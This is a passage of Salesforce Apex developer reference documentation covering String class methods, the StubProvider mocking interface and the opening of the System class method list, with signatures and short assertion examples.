System.assert(!String.isNotBlank(blank));
System.assert(!String.isNotBlank(nullString));
System.assert(!String.isNotBlank(whitespace));
isNotEmpty(inputString)
Returns true if the specified String is not empty ('') and not null; otherwise, returns false.
Signature
public static Boolean isNotEmpty(String inputString)
Parameters
inputString
Type: String
Return Value
Type: Boolean
2574
String ClassReference
Example
String whitespace = ' ';
String alpha = 'Hello world!';
System.assert(String.isNotEmpty(whitespace));
System.assert(String.isNotEmpty(alpha));
String empty = '';
String nullString = null;
System.assert(!String.isNotEmpty(empty));
System.assert(!String.isNotEmpty(nullString));
isNumeric()
Returns true if the current String contains only Unicode digits; otherwise, returns false.
Signature
public Boolean isNumeric()
Return Value
Type: Boolean
Usage
A decimal point (1.2) is not a Unicode digit.
Example
String numeric = '1234567890';
System.assert(numeric.isNumeric());
String alphanumeric = 'R32';
String decimalPoint = '1.2';
System.assert(!alphanumeric.isNumeric());
System.assert(!decimalpoint.isNumeric());
isNumericSpace()
Returns true if the current String contains only Unicode digits or spaces; otherwise, returns false.
Signature
public Boolean isNumericSpace()
Return Value
Type: Boolean
Usage
A decimal point (1.2) is not a Unicode digit.
2575
String ClassReference
Example
String numericSpace = '1 2 3';
System.assert(numericSpace.isNumericspace());
String notNumericspace = 'FD3S FC3S';
System.assert(!notNumericspace.isNumericspace());
isWhitespace()
Returns true if the current String contains only white space characters or is empty; otherwise, returns false.
Signature
public Boolean isWhitespace()
Return Value
Type: Boolean
Example
String whitespace = ' ';
String blank = '';
System.assert(whitespace.isWhitespace());
System.assert(blank.isWhitespace());
String alphanum = 'SIL80';
System.assert(!alphanum.isWhitespace());
join(iterableObj, separator)
Joins the elements of the specified iterable object, such as a List, into a single String separated by the specified separator.
Signature
public static String join(Object iterableObj, String separator)
Parameters
iterableObj
Type: Object
separator
Type: String
Return Value
Type: String
2576
String ClassReference
Usage
List<Integer> li = new
List<Integer>
{10, 20, 30};
String s=String.join(
li, '/');
System.assertEquals(
'10/20/30', s);
lastIndexOf(substring)
Returns the index of the last occurrence of the specified substring. If the substring does not occur, this method returns -1.
Signature
public Integer lastIndexOf(String substring)
Parameters
substring
Type: String
Return Value
Type: Integer
Example
String s1 = 'abcdefgc';
Integer i1 = s1.lastIndexOf('c');
System.assertEquals(7, i1);
lastIndexOf(substring, endPosition)
Returns the index of the last occurrence of the specified substring, starting from the character at index 0 and ending at the specified
index.
Signature
public Integer lastIndexOf(String substring, Integer endPosition)
Parameters
substring
Type: String
endPosition
Type: Integer
2577
String ClassReference
Return Value
Type: Integer
Usage
If the substring doesn’t occur or endPosition is negative, this method returns -1. If endPosition is larger than the last index
in the current String, the entire String is searched.
Example
String s1 = 'abcdaacd';
Integer i1 =
s1.lastIndexOf('c', 7);
System.assertEquals(
6, i1);
Integer i2 =
s1.lastIndexOf('c', 3);
System.assertEquals(
2, i2);
lastIndexOfChar(character)
Returns the index of the last occurrence of the character that corresponds to the specified character value.
Signature
public Integer lastIndexOfChar(Integer character)
Parameters
character
Type: Integer
The integer value of the character in the string.
Return Value
Type: Integer
The index of the last occurrence of the specified character, -1 if the character is not found.
Usage
The index that this method returns is in Unicode code units.
Example
String str = '\u03A9 is Ω (Omega)';
// Get the last occurrence of Omega.
System.assertEquals(5, str.lastIndexOfChar(937));
2578
String ClassReference
lastIndexOfChar(character, endIndex)
Returns the index of the last occurrence of the character that corresponds to the specified character value, starting from the specified
index.
Signature
public Integer lastIndexOfChar(Integer character, Integer endIndex)
Parameters
character
Type: Integer
The integer value of the character to look for.
endIndex
Type: Integer
The index to end the search at.
Return Value
Type: Integer
The index, starting from the specified start index, of the last occurrence of the specified character. -1 if the character is not found.
Usage
The index that this method returns is in Unicode code units.
Example
This example shows different ways of searching for the index of the last occurrence of the Omega character. The first call to
lastIndexOfChar doesn’t specify an end index and therefore the returned index is 12, which is the last occurrence of Omega in
the entire string. The subsequent calls specify an end index to find the last occurrence of Omega in substrings.
String str = 'Ω and \u03A9 and Ω';
System.assertEquals(12, str.lastIndexOfChar(937));
System.assertEquals(6, str.lastIndexOfChar(937,11));
System.assertEquals(0, str.lastIndexOfChar(937,5));
lastIndexOfIgnoreCase(substring)
Returns the index of the last occurrence of the specified substring regardless of case.
Signature
public Integer lastIndexOfIgnoreCase(String substring)
Parameters
substring
Type: String
2579
String ClassReference
Return Value
Type: Integer
Usage
If the substring doesn’t occur, this method returns -1.
Example
String s1 = 'abcdaacd';
Integer i1 =
s1.lastIndexOfIgnoreCase('DAAC');
System.assertEquals(
3, i1);
lastIndexOfIgnoreCase(substring, endPosition)
Returns the index of the last occurrence of the specified substring regardless of case, starting from the character at index 0 and ending
at the specified index.
Signature
public Integer lastIndexOfIgnoreCase(String substring, Integer endPosition)
Parameters
substring
Type: String
endPosition
Type: Integer
Return Value
Type: Integer
Usage
If the substring doesn’t occur or endPosition is negative, this method returns -1. If endPosition is larger than the last index
in the current String, the entire String is searched.
Example
String s1 = 'abcdaacd';
Integer i1 =
s1.lastIndexOfIgnoreCase('C', 7);
System.assertEquals(
6, i1);
2580
String ClassReference
left(length)
Returns the leftmost characters of the current String of the specified length.
Signature
public String left(Integer length)
Parameters
length
Type: Integer
Return Value
Type: String
Usage
If length is greater than the String size, the entire String is returned.
Example
String s1 = 'abcdaacd';
String s2 =
s1.left(3);
System.assertEquals(
'abc', s2);
leftPad(length)
Returns the current String padded with spaces on the left and of the specified length.
Signature
public String leftPad(Integer length)
Parameters
length
Type: Integer
Usage
If length is less than or equal to the current String size, the entire String is returned without space padding.
Return Value
Type: String
2581
String ClassReference
Example
String s1 = 'abc';
String s2 =
s1.leftPad(5);
System.assertEquals(
' abc', s2);
length()
Returns the number of 16-bit Unicode characters contained in the String.
Signature
public Integer length()
Return Value
Type: Integer
Example
String myString = 'abcd';
Integer result = myString.length();
System.assertEquals(result, 4);
mid(startIndex, length)
Returns a new String that begins with the character at the specified zero-based startIndex with the number of characters specified
by length.
Signature
public String mid(Integer startIndex, Integer length)
Parameters
startIndex
Type: Integer
If startIndex is negative, it is considered to be zero.
length
Type: Integer
If length is negative or zero, an empty String is returned. If length is greater than the remaining characters, the remainder of
the String is returned.
Return Value
Type: String
2582
String ClassReference
Usage
This method is similar to the substring(startIndex) and substring(startIndex, endIndex) methods, except
that the second argument is the number of characters to return.
Example
String s='abcde';
String s2 = s.mid(2, 3);
System.assertEquals(
'cde', s2);
normalizeSpace()
Returns the current String with leading, trailing, and repeating white space characters removed.
Signature
public String normalizeSpace()
Return Value
Type: String
Usage
This method normalizes the following white space characters: space, tab (\t), new line (\n), carriage return (\r), and form feed (\f).
Example
String s1 =
'Salesforce \t force.com';
String s2 =
s1.normalizeSpace();
System.assertEquals(
'Salesforce force.com', s2);
offsetByCodePoints(index, codePointOffset)
Returns the index of the Unicode code point that is offset by the specified number of code points, starting from the given index.
Signature
public Integer offsetByCodePoints(Integer index, Integer codePointOffset)
Parameters
index
Type: Integer
The start index in the string.
2583
String ClassReference
codePointOffset
Type: Integer
The number of code points to be offset.
Return Value
Type: Integer
The index that corresponds to the start index that is added to the offset.
Usage
Unpaired surrogates within the text range that is specified by index and codePointOffset count as one code point each.
Example
This example calls offsetByCodePoints on a string with a start index of 0 (to start from the first character) and an offset of threee
code points. The string contains one sequence of supplementary characters in escaped form (a pair of characters). After an offset of three
code points when counting from the beginning of the string, the returned code point index is four.
String str = 'A \uD835\uDD0A BC';
System.assertEquals(4, str.offsetByCodePoints(0,3));
remove(substring)
Removes all occurrences of the specified substring and returns the String result.
Signature
public String remove(String substring)
Parameters
substring
Type: String
Return Value
Type: String
Example
String s1 = 'Salesforce and force.com';
String s2 =
s1.remove('force');
System.assertEquals(
'Sales and .com', s2);
removeEnd(substring)
Removes the specified substring only if it occurs at the end of the String.
2584
String ClassReference
Signature
public String removeEnd(String substring)
Parameters
substring
Type: String
Return Value
Type: String
Example
String s1 = 'Salesforce and force.com';
String s2 =
s1.removeEnd('.com');
System.assertEquals(
'Salesforce and force', s2);
removeEndIgnoreCase(substring)
Removes the specified substring only if it occurs at the end of the String using a case-insensitive match.
Signature
public String removeEndIgnoreCase(String substring)
Parameters
substring
Type: String
Return Value
Type: String
Example
String s1 = 'Salesforce and force.com';
String s2 =
s1.removeEndIgnoreCase('.COM');
System.assertEquals(
'Salesforce and force', s2);
removeStart(substring)
Removes the specified substring only if it occurs at the beginning of the String.
2585
String ClassReference
Signature
public String removeStart(String substring)
Parameters
substring
Type: String
Return Value
Type: String
Example
String s1 = 'Salesforce and force.com';
String s2 =
s1.removeStart('Sales');
System.assertEquals(
'force and force.com', s2);
removeStartIgnoreCase(substring)
Removes the specified substring only if it occurs at the beginning of the String using a case-insensitive match.
Signature
public String removeStartIgnoreCase(String substring)
Parameters
substring
Type: String
Return Value
Type: String
Example
String s1 = 'Salesforce and force.com';
String s2 =
s1.removeStartIgnoreCase('SALES');
System.assertEquals(
'force and force.com', s2);
repeat(numberOfTimes)
Returns the current String repeated the specified number of times.
2586
String ClassReference
Signature
public String repeat(Integer numberOfTimes)
Parameters
numberOfTimes
Type: Integer
Return Value
Type: String
Example
String s1 = 'SFDC';
String s2 =
s1.repeat(2);
System.assertEquals(
'SFDCSFDC', s2);
repeat(separator, numberOfTimes)
Returns the current String repeated the specified number of times using the specified separator to separate the repeated Strings.
Signature
public String repeat(String separator, Integer numberOfTimes)
Parameters
separator
Type: String
numberOfTimes
Type: Integer
Return Value
Type: String
Example
String s1 = 'SFDC';
String s2 =
s1.repeat('-', 2);
System.assertEquals(
'SFDC-SFDC', s2);
2587
String ClassReference
replace(target, replacement)
Replaces each substring of a string that matches the literal target sequence target with the specified literal replacement sequence
replacement.
Signature
public String replace(String target, String replacement)
Parameters
target
Type: String
replacement
Type: String
Return Value
Type: String
Example
String s1 = 'abcdbca';
String target = 'bc';
String replacement = 'xy';
String s2 = s1.replace(target, replacement);
System.assertEquals('axydxya', s2);
replaceAll(regExp, replacement)
Replaces each substring of a string that matches the regular expression regExp with the replacement sequence replacement.
Signature
public String replaceAll(String regExp, String replacement)
Parameters
regExp
Type: String
replacement
Type: String
Return Value
Type: String
Usage
See the Java Pattern class for information on regular expressions.
2588
String ClassReference
Example
String s1 = 'a b c 5 xyz';
String regExp = '[a-zA-Z]';
String replacement = '1';
String s2 = s1.replaceAll(regExp, replacement);
System.assertEquals('1 1 1 5 111', s2);
replaceFirst(regExp, replacement)
Replaces the first substring of a string that matches the regular expression regExp with the replacement sequence replacement.
Signature
public String replaceFirst(String regExp, String replacement)
Parameters
regExp
Type: String
replacement
Type: String
Return Value
Type: String
Usage
See the Java Pattern class for information on regular expressions.
Example
String s1 = 'a b c 11 xyz';
String regExp = '[a-zA-Z]{2}';
String replacement = '2';
String s2 = s1.replaceFirst(regExp, replacement);
System.assertEquals('a b c 11 2z', s2);
reverse()
Returns a String with all the characters reversed.
Signature
public String reverse()
Return Value
Type: String
2589
String ClassReference
right(length)
Returns the rightmost characters of the current String of the specified length.
Signature
public String right(Integer length)
Parameters
length
Type: Integer
If length is greater than the String size, the entire String is returned.
Return Value
Type: String
Example
String s1 = 'Hello Max';
String s2 =
s1.right(3);
System.assertEquals(
'Max', s2);
rightPad(length)
Returns the current String padded with spaces on the right and of the specified length.
Signature
public String rightPad(Integer length)
Parameters
length
Type: Integer
If length is less than or equal to the current String size, the entire String is returned without space padding.
Return Value
Type: String
Example
String s1 = 'abc';
String s2 =
s1.rightPad(5);
2590
String ClassReference
System.assertEquals(
'abc ', s2);
split(regExp)
Returns a list that contains each substring of the String that is terminated by either the regular expression regExp or the end of the
String.
Signature
public String[] split(String regExp)
Parameters
regExp
Type: String
Return Value
Type: String[]
Note: In API version 34.0 and earlier, a zero-width regExp value produces an empty list item at the beginning of the method’s
output.
Usage
See the Java Pattern class for information on regular expressions.
The substrings are placed in the list in the order in which they occur in the String.If regExp does not match any part of the String, the
resulting list has just one element containing the original String.
For example, for String s='boo:and:foo':
•s.split(':', 2) results in {'boo','and:foo'}
•s.split(':', 5) results in {'boo','and','foo'}
•s.split(':', -2) results in {'boo','and','foo'}
•s.split('o', 5) results in {'b','',':and:f','',''}
•s.split('o', -2) results in {'b','',':and:f','',''}
•s.split('o', 0) results in {'b','',':and:f'}
Example
In the following example, a string is split using a backslash as a delimiter.
public String splitPath(String filename) {
if (filename == null)
return null;
List<String> parts = filename.split('\\\\');
filename = parts[parts.size()-1];
return filename;
}
2591
String ClassReference
// For example, if the file path is e:\\processed\\PPDSF100111.csv
// This method splits the path and returns the last part.
// Returned filename is PPDSF100111.csv
split(regExp, limit)
Returns a list that contains each substring of the String that is terminated by either the regular expression regExp or the end of the
String.
Signature
public String[] split(String regExp, Integer limit)
Parameters
regExp
Type: String
A regular expression.
limit
Type: Integer
Return Value
Type: String[]
Note: In API version 34.0 and earlier, a zero-width regExp value produces an empty list item at the beginning of the method’s
output.
Usage
The optional limit parameter controls the number of times the pattern is applied and therefore affects the length of the list.
•If limit is greater than zero:
–The pattern is applied a maximum of (limit – 1) times.
–The list’s length is no greater than limit.
–The list’s last entry contains all input beyond the last matched delimiter.
•If limit is non-positive, the pattern is applied as many times as possible, and the list can have any length.
•If limit is zero, the pattern is applied as many times as possible, the list can have any length, and trailing empty strings are
discarded.
splitByCharacterType()
Splits the current String by character type and returns a list of contiguous character groups of the same type as complete tokens.
Signature
public List<String> splitByCharacterType()
2592
String ClassReference
Return Value
Type: List<String>
Usage
For more information about the character types used, see java.lang.Character.getType(char).
Example
String s1 = 'Force.com platform';
List<String> ls =
s1.splitByCharacterType();
System.debug(ls);
// Writes this output:
// (F, orce, ., com, , platform)
splitByCharacterTypeCamelCase()
Splits the current String by character type and returns a list of contiguous character groups of the same type as complete tokens, with
the following exception: the uppercase character, if any, immediately preceding a lowercase character token belongs to the following
character token rather than to the preceding.
Signature
public List<String> splitByCharacterTypeCamelCase()
Return Value
Type: List<String>
Usage
For more information about the character types used, see java.lang.Character.getType(char).
Example
String s1 = 'Force.com platform';
List<String> ls =
s1.splitByCharacterTypeCamelCase();
System.debug(ls);
// Writes this output:
// (Force, ., com, , platform)
startsWith(prefix)
Returns true if the String that called the method begins with the specified prefix.
Signature
public Boolean startsWith(String prefix)
2593
String ClassReference
Parameters
prefix
Type: String
Return Value
Type: Boolean
Example
String s1 = 'AE86 vs EK9';
System.assert(s1.startsWith('AE86'));
startsWithIgnoreCase(prefix)
Returns true if the current String begins with the specified prefix regardless of the prefix case.
Signature
public Boolean startsWithIgnoreCase(String prefix)
Parameters
prefix
Type: String
Return Value
Type: Boolean
Example
String s1 = 'AE86 vs EK9';
System.assert(s1.startsWithIgnoreCase('ae86'));
stripHtmlTags(htmlInput)
Removes HTML markup from the input string and returns the plain text.
Signature
public String stripHtmlTags(String htmlInput)
Parameters
htmlInput
Type: String
2594
String ClassReference
Return Value
Type: String
Example
String s1 = '<b>hello world</b>';
String s2 = s1.stripHtmlTags();
System.assertEquals(
'hello world', s2);
substring(startIndex)
Returns a new String that begins with the character at the specified zero-based startIndex and extends to the end of the String.
Signature
public String substring(Integer startIndex)
Parameters
startIndex
Type: Integer
Return Value
Type: String
Example
String s1 = 'hamburger';
System.assertEquals('burger', s1.substring(3));
substring(startIndex, endIndex)
Returns a new String that begins with the character at the specified zero-based startIndex and extends to the character at
endIndex - 1.
Signature
public String substring(Integer startIndex, Integer endIndex)
Parameters
startIndex
Type: Integer
endIndex
Type: Integer
2595
String ClassReference
Return Value
Type: String
Example
'hamburger'.substring(4, 8);
// Returns "urge"
'smiles'.substring(1, 5);
// Returns "mile"
substringAfter(separator)
Returns the substring that occurs after the first occurrence of the specified separator.
Signature
public String substringAfter(String separator)
Parameters
separator
Type: String
Return Value
Type: String
Example
String s1 = 'Force.com.platform';
String s2 =
s1.substringAfter('.');
System.assertEquals(
'com.platform', s2);
substringAfterLast(separator)
Returns the substring that occurs after the last occurrence of the specified separator.
Signature
public String substringAfterLast(String separator)
Parameters
separator
Type: String
2596
String ClassReference
Return Value
Type: String
Example
String s1 = 'Force.com.platform';
String s2 =
s1.substringAfterLast('.');
System.assertEquals(
'platform', s2);
substringBefore(separator)
Returns the substring that occurs before the first occurrence of the specified separator.
Signature
public String substringBefore(String separator)
Parameters
separator
Type: String
Return Value
Type: String
Example
String s1 = 'Force.com.platform';
String s2 =
s1.substringBefore('.');
System.assertEquals(
'Force', s2);
substringBeforeLast(separator)
Returns the substring that occurs before the last occurrence of the specified separator.
Signature
public String substringBeforeLast(String separator)
Parameters
separator
Type: String
2597
String ClassReference
Return Value
Type: String
Example
String s1 = 'Force.com.platform';
String s2 =
s1.substringBeforeLast('.');
System.assertEquals(
'Force.com', s2);
substringBetween(tag)
Returns the substring that occurs between two instances of the specified tag String.
Signature
public String substringBetween(String tag)
Parameters
tag
Type: String
Return Value
Type: String
Example
String s1 = 'tagYellowtag';
String s2 = s1.substringBetween('tag');
System.assertEquals('Yellow', s2);
substringBetween(open, close)
Returns the substring that occurs between the two specified Strings.
Signature
public String substringBetween(String open, String close)
Parameters
open
Type: String
close
Type: String
2598
String ClassReference
Return Value
Type: String
Example
String s1 = 'xYellowy';
String s2 =
s1.substringBetween('x','y');
System.assertEquals(
'Yellow', s2);
swapCase()
Swaps the case of all characters and returns the resulting String by using the default (English US) locale.
Signature
public String swapCase()
Return Value
Type: String
Usage
Upper case and title case converts to lower case, and lower case converts to upper case.
Example
String s1 = 'Force.com';
String s2 = s1.swapCase();
System.assertEquals('fORCE.COM', s2);
toLowerCase()
Converts all of the characters in the String to lowercase using the rules of the default (English US) locale.
Signature
public String toLowerCase()
Return Value
Type: String
Example
String s1 = 'ThIs iS hArD tO rEaD';
System.assertEquals('this is hard to read',
s1.toLowerCase());
2599
String ClassReference
toLowerCase(locale)
Converts all of the characters in the String to lowercase using the rules of the specified locale.
Signature
public String toLowerCase(String locale)
Parameters
locale
Type: String
Return Value
Type: String
Example
// Example in Turkish
// An uppercase dotted "i", \u0304, which is İ
// Note this contains both a İ as well as a I
String s1 = 'KIYMETLİ';
String s1Lower = s1.toLowerCase('tr');
// Dotless lowercase "i", \u0131, which is ı
// Note this has both a i and ı
String expected = 'kıymetli';
System.assertEquals(expected, s1Lower);
// Note if this was done in toLowerCase(‘en’), it would output ‘kiymetli’
toUpperCase()
Converts all of the characters in the String to uppercase using the rules of the default (English US) locale.
Signature
public String toUpperCase()
Return Value
Type: String
Example
String myString1 = 'abcd';
String myString2 = 'ABCD';
myString1 =
myString1.toUpperCase();
Boolean result =
myString1.equals(myString2);
System.assertEquals(result, true);
2600
String ClassReference
toUpperCase(locale)
Converts all of the characters in the String to the uppercase using the rules of the specified locale.
Signature
public String toUpperCase(String locale)
Parameters
locale
Type: String
Return Value
Type: String
Example
// Example in Turkish
// Dotless lowercase "i", \u0131, which is ı
// Note this has both a i and ı
String s1 = 'imkansız';
String s1Upper = s1.toUpperCase('tr');
// An uppercase dotted "i", \u0304, which is İ
// Note this contains both a İ as well as a I
String expected = 'İMKANSIZ';
System.assertEquals(expected, s1Upper);
trim()
Returns a copy of the string that no longer contains any leading or trailing white space characters.
Signature
public String trim()
Return Value
Type: String
Usage
Leading and trailing ASCII control characters such as tabs and newline characters are also removed. White space and control characters
that aren’t at the beginning or end of the sentence aren’t removed.
Example
String s1 = ' Hello! ';
String trimmed = s1.trim();
system.assertEquals('Hello!', trimmed);
2601
String ClassReference
uncapitalize()
Returns the current String with the first letter in lowercase.
Signature
public String uncapitalize()
Return Value
Type: String
Example
String s1 =
'Hello max';
String s2 =
s1.uncapitalize();
System.assertEquals(
'hello max',
s2);
unescapeCsv()
Returns a String representing an unescaped CSV column.
Signature
public String unescapeCsv()
Return Value
Type: String
Usage
If the String is enclosed in double quotes and contains a comma, newline or double quote, quotes are removed. Also, any double quote
escaped characters (a pair of double quotes) are unescaped to just one double quote.
If the String is not enclosed in double quotes, or is and does not contain a comma, newline or double quote, it is returned unchanged.
Example
String s1 =
'"Max1, ""Max2"""';
String s2 =
s1.unescapeCsv();
System.assertEquals(
'Max1, "Max2"',
s2);
2602
String ClassReference
unescapeEcmaScript()
Unescapes any EcmaScript literals found in the String.
Signature
public String unescapeEcmaScript()
Return Value
Type: String
Example
String s1 =
'\"3.8\",\"3.9\"';
String s2 =
s1.unescapeEcmaScript();
System.assertEquals(
'"3.8","3.9"',
s2);
unescapeHtml3()
Unescapes the characters in a String using HTML 3.0 entities.
Signature
public String unescapeHtml3()
Return Value
Type: String
Example
String s1 =
'&quot;&lt;Black&amp;White&gt;&quot;';
String s2 =
s1.unescapeHtml3();
System.assertEquals(
'"<Black&White>"',
s2);
unescapeHtml4()
Unescapes the characters in a String using HTML 4.0 entities.
Signature
public String unescapeHtml4()
2603
String ClassReference
Return Value
Type: String
Usage
If an entity isn’t recognized, it is kept as is in the returned string.
Example
String s1 =
'&quot;&lt;Black&amp;White&gt;&quot;';
String s2 =
s1.unescapeHtml4();
System.assertEquals(
'"<Black&White>"',
s2);
unescapeJava()
Returns a String whose Java literals are unescaped. Literals unescaped include escape sequences for quotes (\\") and control characters,
such as tab (\\t), and carriage return (\\n).
Signature
public String unescapeJava()
Return Value
Type: String
The unescaped string.
Example
String s='Company: \\"Salesforce.com\\"';
String unescapedStr = s.unescapeJava();
System.assertEquals('Company: "Salesforce.com"', unescapedStr);
unescapeUnicode()
Returns a String whose escaped Unicode characters are unescaped.
Signature
public String unescapeUnicode()
Return Value
Type: String
The unescaped string.
2604
String ClassReference
Example
String s='De onde voc\u00EA \u00E9?';
String unescapedStr = s.unescapeUnicode();
System.assertEquals('De onde você é?', unescapedStr);
unescapeXml()
Unescapes the characters in a String using XML entities.
Signature
public String unescapeXml()
Return Value
Type: String
Usage
Supports only the five basic XML entities (gt, lt, quot, amp, apos). Does not support DTDs or external entities.
Example
String s1 =
'&quot;&lt;Black&amp;White&gt;&quot;';
String s2 =
s1.unescapeXml();
System.assertEquals(
'"<Black&White>"',
s2);
valueOf(dateToConvert)
Returns a String that represents the specified Date in the standard “yyyy-MM-dd” format.
Signature
public static String valueOf(Date dateToConvert)
Parameters
dateToConvert
Type: Date
Return Value
Type: String
2605
String ClassReference
Example
Date myDate = Date.Today();
String sDate = String.valueOf(myDate);
valueOf(datetimeToConvert)
Returns a String that represents the specified Datetime in the standard “yyyy-MM-dd HH:mm:ss” format for the local time zone.
Signature
public static String valueOf(Datetime datetimeToConvert)
Parameters
datetimeToConvert
Type: Datetime
Return Value
Type: String
Example
DateTime dt = datetime.newInstance(1996, 6, 23);
String sDateTime = String.valueOf(dt);
System.assertEquals('1996-06-23 00:00:00', sDateTime);
valueOf(decimalToConvert)
Returns a String that represents the specified Decimal.
Signature
public static String valueOf(Decimal decimalToConvert)
Parameters
decimalToConvert
Type: Decimal
Return Value
Type: String
Example
Decimal dec = 3.14159265;
String sDecimal = String.valueOf(dec);
System.assertEquals('3.14159265', sDecimal);
2606
String ClassReference
valueOf(doubleToConvert)
Returns a String that represents the specified Double.
Signature
public static String valueOf(Double doubleToConvert)
Parameters
doubleToConvert
Type: Double
Return Value
Type: String
Example
Double myDouble = 12.34;
String myString =
String.valueOf(myDouble);
System.assertEquals(
'12.34', myString);
valueOf(integerToConvert)
Returns a String that represents the specified Integer.
Signature
public static String valueOf(Integer integerToConvert)
Parameters
integerToConvert
Type: Integer
Return Value
Type: String
Example
Integer myInteger = 22;
String sInteger = String.valueOf(myInteger);
System.assertEquals('22', sInteger);
valueOf(longToConvert)
Returns a String that represents the specified Long.
2607
String ClassReference
Signature
public static String valueOf(Long longToConvert)
Parameters
longToConvert
Type: Long
Return Value
Type: String
Example
Long myLong = 123456789;
String sLong = String.valueOf(myLong);
System.assertEquals('123456789', sLong);
valueOf(toConvert)
Returns a string representation of the specified object argument.
Signature
public static String valueOf(Object toConvert)
Parameters
toConvert
Type: Object
Return Value
Type: String
Usage
If the argument is not a String, the valueOf method converts it into a String by calling the toString method on the argument,
if available, or any overridden toString method if the argument is a user-defined type. Otherwise, if no toString method is
available, it returns a String representation of the argument.
Example
List<Integer> ls =
new List<Integer>();
ls.add(10);
ls.add(20);
String strList =
String.valueOf(ls);
2608
String ClassReference
System.assertEquals(
'(10, 20)', strList);
valueOfGmt(datetimeToConvert)
Returns a String that represents the specified Datetime in the standard “yyyy-MM-dd HH:mm:ss” format for the GMT time zone.
Signature
public static String valueOfGmt(Datetime datetimeToConvert)
Parameters
datetimeToConvert
Type: Datetime
Return Value
Type: String
Example
// For a PST timezone:
DateTime dt = datetime.newInstance(2001, 9, 14);
String sDateTime = String.valueOfGmt(dt);
System.assertEquals('2001-09-14 07:00:00', sDateTime);
StubProvider Interface
StubProvider is a callback interface that you can use as part of the Apex stub API to implement a mocking framework. Use this
interface with the Test.createStub() method to create stubbed Apex objects for testing.
Namespace
System
Usage
The StubProvider interface allows you to define the behavior of a stubbed Apex class. The interface specifies a single method that
requires implementing: handleMethodCall(). You specify the behavior of each method of the stubbed class in the
handleMethodCall() method.
In your Apex test, you create a stubbed object using the Test.createStub() method. When you invoke methods on the stubbed
object, StubProvider.handleMethodCall() is called, which performs the behavior that you’ve specified for each method.
2609
StubProvider InterfaceReference
IN THIS SECTION:
StubProvider Methods
SEE ALSO:
Build a Mocking Framework with the Stub API
createStub(parentType, stubProvider)
StubProvider Methods
The following are methods for StubProvider.
IN THIS SECTION:
handleMethodCall(stubbedObject, stubbedMethodName, returnType, listOfParamTypes, listOfParamNames, listOfArgs)
Use this method to define the behavior of each method of a stubbed class.
handleMethodCall(stubbedObject, stubbedMethodName, returnType,
listOfParamTypes, listOfParamNames, listOfArgs)
Use this method to define the behavior of each method of a stubbed class.
Signature
public Object handleMethodCall(Object stubbedObject, String stubbedMethodName,
System.Type returnType, List<System.Type> listOfParamTypes, List<String>
listOfParamNames, List<Object> var6)
Parameters
stubbedObject
Type: Object
The stubbed object.
stubbedMethodName
Type: String
The name of the invoked method.
returnType
Type: System.Type
The return type of the invoked method.
listOfParamTypes
Type: List<System.Type>
A list of the parameter types of the invoked method.
listOfParamNames
Type: List<String>
A list of the parameter names of the invoked method.
2610
StubProvider InterfaceReference
listOfArgs
Type: List<Object>
The actual argument values passed into this method at runtime.
Return Value
Type: Object
Usage
You can use the parameters passed into this method to identify which method on the stubbed object was invoked. Then you can define
the behavior for each identified method.
SEE ALSO:
Build a Mocking Framework with the Stub API
System Class
Contains methods for system operations, such as writing debug messages and scheduling jobs.
Namespace
System
System Methods
The following are methods for System. All methods are static.
IN THIS SECTION:
abortJob(jobId)
Stops the specified job. The stopped job is still visible in the job queue in the Salesforce user interface.
assert(condition, msg)
Asserts that the specified condition is true. If it is not, a fatal error is returned that causes code execution to halt.
assertEquals(expected, actual, msg)
Asserts that the first two arguments are the same. If they are not, a fatal error is returned that causes code execution to halt.
assertNotEquals(expected, actual, msg)
Asserts that the first two arguments are different. If they are the same, a fatal error is returned that causes code execution to halt.
currentPageReference()
Returns a reference to the current page. This is used with Visualforce pages.
currentTimeMillis()
Returns the current time in milliseconds, which is expressed as the difference between the current time and midnight, January 1,
1970 UTC.
debug(msg)
Writes the specified message, in string format, to the execution debug log. The DEBUG log level is used.
2611
System ClassReference
debug(logLevel, msg)
Writes the specified message, in string format, to the execution debug log with the specified log level.
enqueueJob(queueableObj)
Adds a job to the Apex job queue that corresponds to the specified queueable class and returns the job ID.
equals(obj1, obj2)
Returns true if both arguments are equal. Otherwise, returns false.
getApplicationReadWriteMode()
Returns the read write mode set for an organization during Salesforce.com upgrades and downtimes.
hashCode(obj)
Returns the hash code of the specified object.
isBatch()
Returns true if a batch Apex job invoked the executing code, or false if not. In API version 35.0 and earlier, also returns true
if a queueable Apex job invoked the code.
isFuture()
Returns true if the currently executing code is invoked by code contained in a method annotated with future; false
otherwise.
isQueueable()
Returns true if a queueable Apex job invoked the executing code. Returns false if not, including if a batch Apex job or a future
method invoked the code.
isScheduled()
Returns true if the currently executing code is invoked by a scheduled Apex job; false otherwise.
movePassword(targetUserId,sourceUserId)
Moves the specified user’s password to a different user.
now()
Returns the current date and time in the GMT time zone.
process(workItemIds, action, comments, nextApprover)
Processes the list of work item IDs.
purgeOldAsyncJobs(dt)
Deletes asynchronous Apex job records for jobs that have finished execution before the specified date with a Completed, Aborted,
or Failed status, and returns the number of records deleted.
requestVersion()
Returns a two-part version that contains the major and minor version numbers of a package.
resetPassword(userId, sendUserEmail)
Resets the password for the specified user.
runAs(version)
Changes the current package version to the package version specified in the argument.
runAs(userSObject)
Changes the current user to the specified user.
schedule(jobName, cronExpression, schedulableClass)
Use schedule with an Apex class that implements the Schedulable interface to schedule the class to run at the time specified
by a Cron expression.
2612
System ClassReference
scheduleBatch(batchable, jobName, minutesFromNow)
Schedules a batch job to run once in the future after the specified time interval and with the specified job name.
scheduleBatch(batchable, jobName, minutesFromNow, scopeSize)
Schedules a batch job to run once in the future after the specified the time interval, with the specified job name and scope size.
Returns the scheduled job ID (CronTrigger ID).
setPassword(userId, password)
Sets the password for the specified user.
submit(workItemIds, comments, nextApprover)
Submits the processed approvals. The current user is the submitter and the entry criteria is evaluated for all processes applicable to
the current user.
today()
Returns the current date in the current user's time zone.
abortJob(jobId)
Stops the specified job. The stopped job is still visible in the job queue in the Salesforce user interface.
Signature
public static Void abortJob(String jobId)
Parameters
jobId
Type: String
The jobId is the ID associated with either AsyncApexJob or CronTrigger.
Return Value
Type: Void
Usage
The following methods return the job ID that can be passed to abortJob.
•System.schedule method—returns the CronTrigger object ID associated with the scheduled job as a string.
•SchedulableContext.getTriggerId method—returns the CronTrigger object ID associated with the scheduled job as
a string.
•getJobId method—returns the AsyncApexJob object ID associated with the batch job as a string.
•Database.executeBatch method—returns the AsyncApexJob object ID associated with the batch job as a string.
assert(condition, msg)
Asserts that the specified condition is true. If it is not, a fatal error is returned that causes code execution to halt.
Signature
